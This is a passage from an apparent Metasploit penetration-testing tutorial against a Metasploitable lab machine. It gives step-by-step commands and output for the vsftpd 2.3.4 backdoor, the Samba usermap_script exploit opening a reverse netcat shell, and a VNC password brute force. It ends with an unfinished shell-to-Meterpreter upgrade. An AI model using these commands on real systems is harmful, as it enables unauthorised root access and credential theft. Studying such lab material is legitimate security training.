   3  exploit/linux/ftp/proftp_telnet_iac          2010-11-01       great      Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
   4  exploit/unix/ftp/proftpd_modcopy_exec        2015-04-22       excellent  Yes    ProFTPD 1.3.5 Mod_Copy Command Execution
   5  exploit/unix/ftp/proftpd_133c_backdoor       2010-12-02       excellent  No     ProFTPD-1.3.3c Backdoor Command Execution


Interact with a module by name or index. For example info 5, use 5 or use exploit/unix/ftp/proftpd_133c_backdoor
</code></pre>



<p>Seems like there is no specific mention of version <strong>1.3.1</strong> for the <strong>ProFTPD</strong> application. However, the other versions might still work. We’ll find that out very soon. </p>



<p>You can research each of the open port applications and find out what vulnerabilities might be associated with them. You can definitely use google and other exploit databases as well instead of only Metasploit. </p>



<h2 id="exploiting-vulnerabilities" class="wp-block-heading"><a id="post-3536-_heading=h.ihv636"></a>Exploiting Vulnerabilities</h2>



<p>This is the most anticipated step of the penetration test. In this step, we’ll exploit the victim machine in all its glory. Let’s begin with the most straightforward vulnerability to exploit that we found in the previous step. It is the <code>VSFTPD 2.3.4</code> backdoor command execution exploit. </p>



<h3 id="exploiting-the-vsftpd-vulnerability" class="wp-block-heading"><a id="post-3536-_heading=h.32hioqz"></a>Exploiting the VSFTPD vulnerability</h3>



<p>Let’s use the exploit (<code>exploit/unix/ftp/vsftpd_234_backdoor</code>): </p>



<pre class="wp-block-code promptmsf6"><code>use exploit/unix/ftp/vsftpd_234_backdoor</code></pre>



<pre class="wp-block-code"><code>&#091;*] No payload configured, defaulting to cmd/unix/interact</code></pre>



<p>After entering this command, you’ll see your command line will look like this: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; </code></pre>



<p>This means you are using this exploit now. Let’s see the options for the exploit: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ‐‐‐‐    ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>Let’s set up the RHOSTS as the target machine’s IP address (192.168.74.129 in my case): </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; set RHOSTS 192.168.74.129
RHOSTS =&gt; 192.168.74.129 </code></pre>



<p>See the options again: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ‐‐‐‐    ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS  192.168.74.129</span>   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT   21               yes       The target port (TCP)


<span style="color: #3F84E5;" class="stk-highlight">Payload options (cmd/unix/interact):</span>

   Name  Current Setting  Required  Description
   ‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>Now you have to specify a payload as well. Let’s see what are our options: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; show payloads</code></pre>



<pre class="wp-block-code"><code>Compatible Payloads
===================

   #  Name                       Disclosure Date  Rank    Check  Description
   -  ‐‐‐‐                       ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐    ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  payload/cmd/unix/interact                   normal  No     Unix Command, Interact with Established Connection

Not much of an option right? And this one is already set up in the options. You can check it yourself. There are no required values for this payload as well. Let’s check if this exploit will work or not –
msf6 exploit(unix/ftp/vsftpd_234_backdoor) &gt; check
 &#091;-] Check failed: NoMethodError This module does not support check.

So, this exploit doesn’t support checking. Let’s move forward. This is the moment of truth. Let’s exploit the machine –
msf6 exploit(unix/ftp/vsftpd_234_backdoor) &gt; exploit

&#091;*] 192.168.74.129:21 - Banner: 220 (vsFTPd 2.3.4)
&#091;*] 192.168.74.129:21 - USER: 331 Please specify the password.
&#091;+] 192.168.74.129:21 - Backdoor service has been spawned, handling...
&#091;+] 192.168.74.129:21 - UID: uid=0(root) gid=0(root)
&#091;*] Found shell.
&#091;*] Command shell session 2 opened (0.0.0.0:0 -&gt; 192.168.74.129:6200) at 2022-02-07 05:14:38 -0400


<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">whoami
root</span></code></pre>



<p>Voila! We’ve successfully exploited the machine. We got the shell access. I ran the <code>whoami</code> command and got the reply as <code>root</code>. So, we have full access to the Metasploitable machine. We can do whatever the root can – everything! </p>



<p>Now before we show what to do after exploitation, let’s see some other methods of exploitation as well.  </p>



<h3 id="keeping-the-sessions-in-the-background" class="wp-block-heading"><a id="post-3536-_heading=h.1hmsyys"></a>Keeping the sessions in the background</h3>



<p>First, let’s keep the session we got in the background: </p>



<p>Type in <code>background</code> within the terminal, then type <code>y</code> and hit enter: </p>



<pre class="wp-block-code"><code>whoami
root
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">background</span>

Background session 2? &#091;y/N]   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">y</span>
msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; </code></pre>



<p>You can access this session anytime using the <code>sessions</code> command: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; sessions</code></pre>



<pre class="wp-block-code"><code>Active sessions
===============

  <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Id</span>  Name  Type            Information  Connection
  ‐‐  ‐‐‐‐  ‐‐‐‐            ‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐
  <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">2</span>         shell cmd/unix               0.0.0.0:0 -&gt; 192.168.74.129:6200 (192.168.74.129)</code></pre>



<p>
  You can get back to the session by using the “-i” flag and specifying the ID. Do the following –
</p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; sessions -i 2
&#091;*] Starting interaction with 2...

<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">whoami
root</span>
</code></pre>



<h3 id="exploiting-samba-smb" class="wp-block-heading"><a id="post-3536-_heading=h.41mghml"></a>Exploiting samba smb</h3>



<p>Did you notice that the <code>netbios-ssn</code> service was running on Samba in our victim machine’s port <code>139</code> and <code>445</code>? There might be an exploit that we could use. But before that, there was no particular version written for the samba application. However, we have an auxiliary module in Metasploit that can find out the version for us. Let’s see this in action: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; search smb_version</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                               Disclosure Date  Rank    Check  Description
   ‐  ‐‐‐‐                               ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐    ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  auxiliary/scanner/smb/smb_version                   normal  No     SMB Version Detection


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version
</code></pre>



<p>   Now choose the smb scanner: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">unix/ftp/vsftpd_234_backdoor</span>) &gt; use 0
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; </code></pre>



<p>Now let’s see the options we have to set up: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>msf6 auxiliary(scanner/smb/smb_version) &gt; show options

Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS</span>                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">THREADS</span>  1                yes       The number of concurrent threads (max one per host)</code></pre>



<p>We can set up the <code>RHOSTS</code> and <code>THREADS</code> here. The <code>RHOSTS</code> will be our target and the <code>THREADS</code> determine how fast will the program run. Let’s set them up: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; set RHOSTS 192.168.74.129
RHOSTS =&gt; 192.168.74.129
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; set THREADS 16
THREADS =&gt; 16
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS   192.168.74.129</span>   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">THREADS  16</span>               yes       The number of concurrent threads (max one per host)</code></pre>



<p>Now run it: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; run</code></pre>



<pre class="wp-block-code"><code>&#091;*] 192.168.74.129:445    - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
&#091;*] 192.168.74.129:445    -   Host could not be identified: Unix (<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Samba 3.0.20-Debian</span>)
&#091;*] 192.168.74.129:       - Scanned 1 of 1 hosts (100% complete)
&#091;*] Auxiliary module execution completed
</code></pre>



<p>The output gives us the version of the <strong>Samba – 3.0.20</strong>. Now we can find out the vulnerabilities associated with it. Let’s try google. A simple google search reveals this version is vulnerable to <code>username map script</code> command execution. </p>



<figure class="wp-block-image"><img decoding="async" width="1903" height="873" src="https://nooblinux.com/wp-content/uploads/2022/02/word-image.png" alt="" class="wp-image-3538" srcset="https://nooblinux.com/wp-content/uploads/2022/02/word-image.png 1903w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-300x138.png 300w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1024x470.png 1024w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-768x352.png 768w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1536x705.png 1536w" sizes="(max-width: 1903px) 100vw, 1903px" /></figure>



<p>This is also available in Metasploit. Let’s perform a search: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; search username map script</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                   Disclosure Date  Rank       Check  Description
   -  ‐‐‐‐                                   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  auxiliary/scanner/oracle/oracle_login                   normal     No     Oracle RDBMS Login Utility
   <span style="color: #3F84E5;" class="stk-highlight">1</span>  <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">exploit/multi/samba/usermap_script</span>     2007-05-14       excellent  No     Samba "username map script" Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/multi/samba/usermap_script
</code></pre>



<p>As you can see, there is an exploit for this vulnerability with an excellent rank. Let’s use this one and try to gain access to the metasploitable machine: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/smb/smb_version</span>) &gt; use 1
&#091;*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">multi/samba/usermap_script</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ‐‐‐‐    ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS</span>                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   LHOST  192.168.74.128   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   ‐‐  ‐‐‐‐
   0   Automatic
</code></pre>



<p>We can see that the Payload options are already set up. I will not change it. You can change the LHOST to your attack machine’s IP address. We only need to set up the RHOSTS option: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">multi/samba/usermap_script</span>) &gt; set RHOSTS 192.168.74.129
RHOSTS =&gt; 192.168.74.129</code></pre>



<p>   Now let’s exploit: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">multi/samba/usermap_script</span>) &gt; exploit

&#091;*] <span style="color: #3F84E5;" class="stk-highlight">Started reverse TCP handler on 192.168.74.128:4444</span> 
&#091;*] <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Command shell session 3 opened</span> (192.168.74.128:4444 -&gt; 192.168.74.129:45078) at 2021-06-29 06:48:33 -0400

<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">whoami
root</span>
</code></pre>



<p>As you can see the exploit sets up a reverse TCP handler to accept the incoming connection from the Victim machine. Then the exploit completes and opens a session. We can also see that the access level is root. Now let’s move on to another exploit keeping this session in the background. </p>



<h3 id="exploiting-vnc" class="wp-block-heading"><a id="post-3536-_heading=h.2grqrue"></a>Exploiting VNC</h3>



<p>Now let’s try to exploit the VNC service running on our victim machine. If you search in Metasploit database, you will find no matching exploit for this one. This means you have to think of some other ways to get into this service. Let’s try to brute force the VNC login. We’ll be using the auxiliary scanner for <code>vnc login</code>: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">multi/samba/usermap_script</span>) &gt; search scanner vnc</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                      Disclosure Date  Rank    Check  Description
   -  ‐‐‐‐                                      ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐    ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  auxiliary/scanner/vnc/ard_root_pw                          normal  No     Apple Remote Desktop Root Vulnerability
   1  auxiliary/scanner/http/thinvnc_traversal  2019-10-16       normal  No     ThinVNC Directory Traversal
   2  auxiliary/scanner/vnc/vnc_none_auth                        normal  No     VNC Authentication None Detection
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">3  auxiliary/scanner/vnc/vnc_login</span>                            normal  No     VNC <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Authentication Scanner</span>


Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/vnc/vnc_login
</code></pre>



<p>We’ll be needing the <strong>VNC Authentication Scanner (3)</strong>. Let’s select it: </p>



<pre class="wp-block-code"><code>msf6 exploit(<span style="color: #FF521B;" class="stk-highlight">multi/samba/usermap_script</span>) &gt; use 3
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; </code></pre>



<p>We do not know what this auxiliary module does yet. Let’s find out. Remember the <code>info</code> command? </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; info</code></pre>



<pre class="wp-block-code"><code>       Name: VNC Authentication Scanner
     Module: auxiliary/scanner/vnc/vnc_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  carstein &lt;carstein.sec@gmail.com&gt;
  jduck &lt;jduck@metasploit.com&gt;

Check supported:
  No

<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Basic options:
  Name              Current Setting                                                   Required  Description
  ‐‐‐‐              ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐                                                   ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
  BLANK_PASSWORDS   false                                                             no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                                                                 yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false                                                             no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false                                                             no        Add all passwords in the current database to the list
  DB_ALL_USERS      false                                                             no        Add all users in the current database to the list
  PASSWORD                                                                            no        The password to test
  </span><span style="color: #FFD670" class="stk-highlight">PASS_FILE         /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">  no        File containing passwords, one per line
  Proxies                                                                             no        A proxy chain of format type:host:port&#091;,type:host:port]&#091;...]
  </span><span style="color: #FFD670;" class="stk-highlight">RHOSTS</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                                              yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:&lt;path&gt;'
  </span><span style="color: #FFD670;" class="stk-highlight">RPORT             5900</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                              yes       The target port (TCP)
  </span><span style="color: #FFD670;" class="stk-highlight">STOP_ON_SUCCESS   false</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                             yes       Stop guessing when a credential works for a host
  </span><span style="color: #FFD670;" class="stk-highlight">THREADS           1</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                                 yes       The number of concurrent threads (max one per host)
  USERNAME          &lt;BLANK&gt;                                                           no        A specific username to authenticate as
  USERPASS_FILE                                                                       no        File containing users and passwords separated by space, one pair per line
  </span><span style="color: #FFD670;" class="stk-highlight">USER_AS_PASS      false</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                             no        Try the username as the password for all users
  USER_FILE                                                                           no        File containing usernames, one per line
  </span><span style="color: #FFD670;" class="stk-highlight">VERBOSE           true</span><span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">                                                              yes       Whether to print output for all attempts</span> 
Description:
  <span style="color: #3F84E5;" class="stk-highlight">This module will test a VNC server on a range of machines and report 
  successful logins. Currently it supports RFB protocol version 3.3, 
  3.7, 3.8 and 4.001 using the VNC challenge response authentication 
  method.</span>

References:
  https:&#47;&#47;nvd.nist.gov/vuln/detail/CVE-1999-0506</code></pre>



<p>We can see the options this module will take. The description is also there. From the description, it becomes clear that this is a module that will try brute-forcing. Another conspicuous fact is that this module supports <span style="color: #ffd670;" class="stk-highlight">RFB protocol version 3.3</span>, which is <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">written in our discovered VNC service (protocol 3.3)</span>. If you’re wondering why this is related – VNC service uses RFB protocol. So this module is compatible with the VNC service in our victim machine. Let’s move forward with this. </p>



<p>We’ve already seen the options this module will take from the “info” command. The options marked in yellow are the important ones. Not all of them are required though. We can see the default password file (<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">PASS_FILE</span>) for the brute force will be (<span style="color: #ffd670;" class="stk-highlight">/usr/share/Metasploit-framework/data/wordlists/vnc_passwords.txt</span>). We’ll not be changing this file. You might want to change this one if you’re doing real world tests that are not Metasploitable. We have to define <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">RHOSTS</span>. Let’s turn on <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">STOP_ON_SUCCESS</span> as well, which will stop the attack once the correct credentials are found. We’ll also increase the <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">THREADS</span> for faster operation, and set <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">USER_AS_PASS</span> to <span style="color: #ffd670;" class="stk-highlight">true</span>, which will use the same username and password as well. Let’s set these up: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; set RHOSTS 192.168.74.129
RHOSTS =&gt; 192.168.74.129
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; set STOP_ON_SUCCESS true
STOP_ON_SUCCESS =&gt; true
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; set THREADS 32
THREADS =&gt; 32
msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; set USER_AS_PASS true
USER_AS_PASS =&gt; true</code></pre>



<p>Now you can start running the brute force: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; run

&#091;*] 192.168.74.129:5900   - 192.168.74.129:5900 - Starting VNC login sweep
&#091;!] 192.168.74.129:5900   - No active DB -- Credential data will not be saved!
&#091;-] 192.168.74.129:5900   - 192.168.74.129:5900 - LOGIN FAILED: :&lt;BLANK&gt; (Incorrect: Authentication failed)
&#091;+] 192.168.74.129:5900   - 192.168.74.129:5900 - <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Login Successful</span>: :<span style="color: #A23B72;" class="stk-highlight">password
</span>
&#091;*] Scanned 1 of 1 hosts (100% complete)
&#091;*] Auxiliary module execution completed
</code></pre>



<p>The brute force attempt was successful. We can see the <code>username:password</code> pair as well. There is no username set up here, and the password is just <code>password</code>. In real systems, most of the time the password will not be this simple. However, now you know how you can brute force the VNC authentication. </p>



<p>Now let’s try to login to the VNC with our cracked credentials. I’ll use the <code>vncviewer</code> command followed by the IP address of the victim machine: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; vncviewer 192.168.74.129
&#091;*] exec: vncviewer 192.168.74.129

Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:
</code></pre>



<p>At this point, you’ll have to provide the password. Type in <code>password</code> and you’ll get in: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; vncviewer 192.168.74.129
&#091;*] exec: vncviewer 192.168.74.129</code></pre>



<pre class="wp-block-code"><code>Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password: 
<span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">Authentication successful</span>
Desktop name "root's X desktop (metasploitable:0)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
</code></pre>



<p>Do you want to see the GUI version of the Metasploitable that we cracked just now? Here’s the view from the TightVNC application. </p>



<figure class="wp-block-image"><img loading="lazy" decoding="async" width="1919" height="985" src="https://nooblinux.com/wp-content/uploads/2022/02/word-image-1.png" alt="" class="wp-image-3539" srcset="https://nooblinux.com/wp-content/uploads/2022/02/word-image-1.png 1919w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1-300x154.png 300w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1-1024x526.png 1024w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1-768x394.png 768w, https://nooblinux.com/wp-content/uploads/2022/02/word-image-1-1536x788.png 1536w" sizes="auto, (max-width: 1919px) 100vw, 1919px" /></figure>



<p>This is beautiful. Now you can pretty much do anything you desire. Now that we’ve shown you 3 ways you can exploit the Metasploitable with the Metasploit Framework, it’s time to show you the things you might have to do once you’ve gained access. </p>



<h2 id="post-exploitation-tasks-with-metasploit-meterpreter" class="wp-block-heading"><a id="post-3536-_heading=h.vx1227"></a>Post Exploitation tasks with Metasploit &amp; Meterpreter</h2>



<p>One of the tasks you might do after exploiting is keeping the session in the background while you work on the Metasploit Framework. We’ve already shown you how to do that in the previous section. However, if you exit from the session then that opened session will be gone. </p>



<p>You will need to exploit the machine once again to get another session. The same thing will happen if the victim chooses to reboot the machine. In this section, we’ll show you how to keep your access even if the victim reboots his/her machine.  </p>



<p>One of the most useful tools after exploiting a target is the Meterpreter shell. It has many custom functionalities built into it that you don’t need to make a program or install any software to do. </p>



<h3 id="what-is-meterpreter" class="wp-block-heading"><a id="post-3536-_heading=h.3fwokq0"></a>What is Meterpreter?</h3>



<p>Meterpreter is a&nbsp;Metasploit payload&nbsp;that gives an interactive shell that&nbsp;attackers may use&nbsp;and execute code on&nbsp;the victim system. It uses&nbsp;in-memory DLL injection to deploy. This allows Meterpreter to be fully deployed in the&nbsp;memory and it&nbsp;does not write anything to the disk. There are no new processes&nbsp;as Meterpreter gets&nbsp;injected&nbsp;into the affected process. It may also&nbsp;move to other operating processes. The forensic footprint of Meterpreter&nbsp;is therefore very small. </p>



<h3 id="upgrade-to-a-meterpreter-from-shell" class="wp-block-heading"><a id="post-3536-_heading=h.1v1yuxt"></a>Upgrade to a meterpreter from shell</h3>



<p>Meterpreter is an advanced payload for Metasploit that offers lots of functions after exploiting a system. But if you noticed, we didn’t get any meterpreter sessions from the exploits. </p>



<p>In fact, the exploits did not have an option to set meterpreter as a payload. Let’s learn how to upgrade to meterpreter from a shell. Let’s see the sessions we have at first using the <code>sessions</code> command: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; sessions</code></pre>



<pre class="wp-block-code"><code>Active sessions
===============

  Id  Name  Type            Information  Connection
  ‐‐  ‐‐‐‐  ‐‐‐‐            ‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐
  2         shell cmd/unix               0.0.0.0:0 -&gt; 192.168.74.129:6200 (192.168.74.129)
  4         shell cmd/unix               192.168.74.128:4444 -&gt; 192.168.74.129:33209 (192.168.74.129)</code></pre>



<p>As you can see, we have two sessions now with id 2 and 4. Both of these sessions are of unix cmd shell type. Now let’s try to upgrade to meterpreter. For this purpose, we’ll be using the <code>shell to meterpreter</code> exploit: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; search shell to meterpreter upgrade</code></pre>



<pre class="wp-block-code"><code>Matching Modules
================

   #  Name                                          Disclosure Date  Rank       Check  Description
   ‐  ‐‐‐‐                                          ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   <span style="color: var(--paletteColor1, #37de8f);" class="stk-highlight">0  post/multi/manage/shell_to_meterpreter</span>                         normal     No     Shell to Meterpreter Upgrade
   1  exploit/windows/local/powershell_cmd_upgrade  1999-01-01       excellent  No     Windows Command Shell Upgrade (Powershell)


Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/local/powershell_cmd_upgrade
</code></pre>



<p>Let’s use the first one: </p>



<pre class="wp-block-code"><code>msf6 auxiliary(<span style="color: #FF521B;" class="stk-highlight">scanner/vnc/vnc_login</span>) &gt; use 0
msf6 post(<span style="color: #ff521b;" class="stk-highlight">multi/manage/shell_to_meterpreter</span>) &gt; show options</code></pre>



<pre class="wp-block-code"><code>Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on.
</code></pre>



